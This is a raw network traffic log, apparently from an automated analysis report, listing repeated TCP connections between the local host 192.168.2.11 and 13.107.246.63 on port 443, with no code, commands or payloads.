Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443

Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49707 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49707
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49716 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49716
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49715 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49715
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49719 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49719
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49717
Source: global traffic	TCP traffic: 192.168.2.11:49717 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49718
Source: global traffic	TCP traffic: 192.168.2.11:49718 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 192.168.2.11:49724 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49724
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49725 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49725
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
